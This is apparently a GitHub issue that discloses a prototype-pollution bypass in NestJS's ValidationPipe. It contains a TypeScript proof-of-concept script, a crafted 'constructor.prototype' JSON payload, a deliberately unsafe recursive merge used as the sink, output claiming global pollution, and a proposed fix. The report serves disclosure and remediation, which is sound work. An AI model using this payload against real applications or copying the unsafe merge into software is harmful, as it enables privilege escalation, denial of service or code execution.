-
-
Notifications
You must be signed in to change notification settings - Fork 8.1k
Description
Is there an existing issue for this?
- I have searched the existing issues
Current behavior
he built-in ValidationPipe attempts to sanitize input payloads against prototype pollution by using the stripProtoKeys method. Currently, this method recursively deletes the proto property but fails to strip the constructor and prototype properties.
When an application uses the default Express adapter (which allows constructor in the body) and ValidationPipe, an attacker can send a crafted payload containing a constructor property.
Although class-transformer might not automatically assign constructor.prototype during the transformation process (depending on configuration), the malicious constructor property persists on the transformed DTO instance.
If this transformed DTO is subsequently used in an unsafe merge operation (e.g., merging configuration, updating database entities via Object.assign, or using recursive merge utilities like lodash.merge), it leads to Prototype Pollution.
This can potentially result in:
Denial of Service (DoS): By polluting Object.prototype with recursive structures or throwing properties.
Remote Code Execution (RCE): If combined with gadgets in dependencies (e.g., template engines like EJS, which look for properties on the prototype chain).
Minimum reproduction code
https://github.com/nestjs/nest
Steps to reproduce
Since this is a logic flaw in the core sanitization method, I have created a standalone reproduction script that demonstrates the bypass without needing a full repository setup.
- Create a file named reproduce_issue.ts :
import { ValidationPipe } from '@nestjs/common';
import { plainToInstance, Expose } from 'class-transformer';
import 'reflect-metadata';
// 1. Setup a standard DTO
class UserDto {
@Expose()
name: string;
}
// 2. Expose the protected stripProtoKeys method for testing
class TestValidationPipe extends ValidationPipe {
public publicStripProtoKeys(value: any) {
this.stripProtoKeys(value);
}
}
async function run() {
const pipe = new TestValidationPipe();
// 3. Crafted Payload targeting constructor.prototype
const payload = JSON.parse(`{
"name": "Attacker",
"constructor": {
"prototype": {
"isAdmin": true
}
}
}`);
console.log('--- Step 1: Sanitization ---');
pipe.publicStripProtoKeys(payload);
if (payload.constructor && payload.constructor.prototype && payload.constructor.prototype.isAdmin) {
console.log('[!] Bypass Successful: ValidationPipe failed to strip "constructor" property.');
}
console.log('\n--- Step 2: Transformation (class-transformer) ---');
// Simulating the pipe's internal transformation logic
const userDto = plainToInstance(UserDto, payload);
// The 'constructor' property persists on the instance!
if (userDto['constructor'] && userDto['constructor']['prototype']) {
console.log('[!] Risk Confirmed: "constructor" property persists on the output DTO instance.');
}
console.log('\n--- Step 3: Vulnerable Sink (Unsafe Merge) ---');
// Simulating a common developer pattern: merging DTO into an existing object/config
const dbEntry = {};
const unsafeMerge = (target, source) => {
for (const key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
unsafeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
};
try {
unsafeMerge(dbEntry, userDto);
} catch(e) {}
// Check Global Pollution
const testObj: any = {};
if (testObj.isAdmin) {
console.log('[!!!] CRITICAL: Object.prototype has been polluted!');
} else {
console.log('[*] No pollution detected (this time).');
}
}
run();
2.Run the script: npx ts-node reproduce_issue.ts
--- Step 1: Sanitization ---
[!] Bypass Successful: ValidationPipe failed to strip "constructor" property.
--- Step 2: Transformation (class-transformer) ---
[!] Risk Confirmed: "constructor" property persists on the output DTO instance.
--- Step 3: Vulnerable Sink (Unsafe Merge) ---
[!!!] CRITICAL: Object.prototype has been polluted!
Expected behavior
The stripProtoKeys method in ValidationPipe should explicitly filter out the constructor and prototype properties to prevent them from reaching the application logic.
Proposed Fix in packages/common/pipes/validation.pipe.ts :
if (value == null || typeof value !== 'object' || types.isTypedArray(value)) {
return;
}
if (Array.isArray(value)) {
for (const v of value) {
this.stripProtoKeys(v);
}
return;
}
delete value.__proto__;
delete value.constructor; // <--- Add this
delete value.prototype; // <--- Add this
for (const key in value) {
this.stripProtoKeys(value[key]);
}
}
NestJS version
11.1.x
Packages versions
{
"@nestjs/common": "^11.1.x",
"@nestjs/core": "^11.1.x",
"class-transformer": "^0.5.1",
"reflect-metadata": "^0.2.0"
}Node.js version
20.10.0
In which operating systems have you tested?
- macOS
- Windows
- Linux
Other
Vulnerability proof:
I built the environment using Nest-11.1.9,Successfully implanted malicious attributes into the server's memory, proving the existence of high-risk security vulnerabilities in this NestJS version
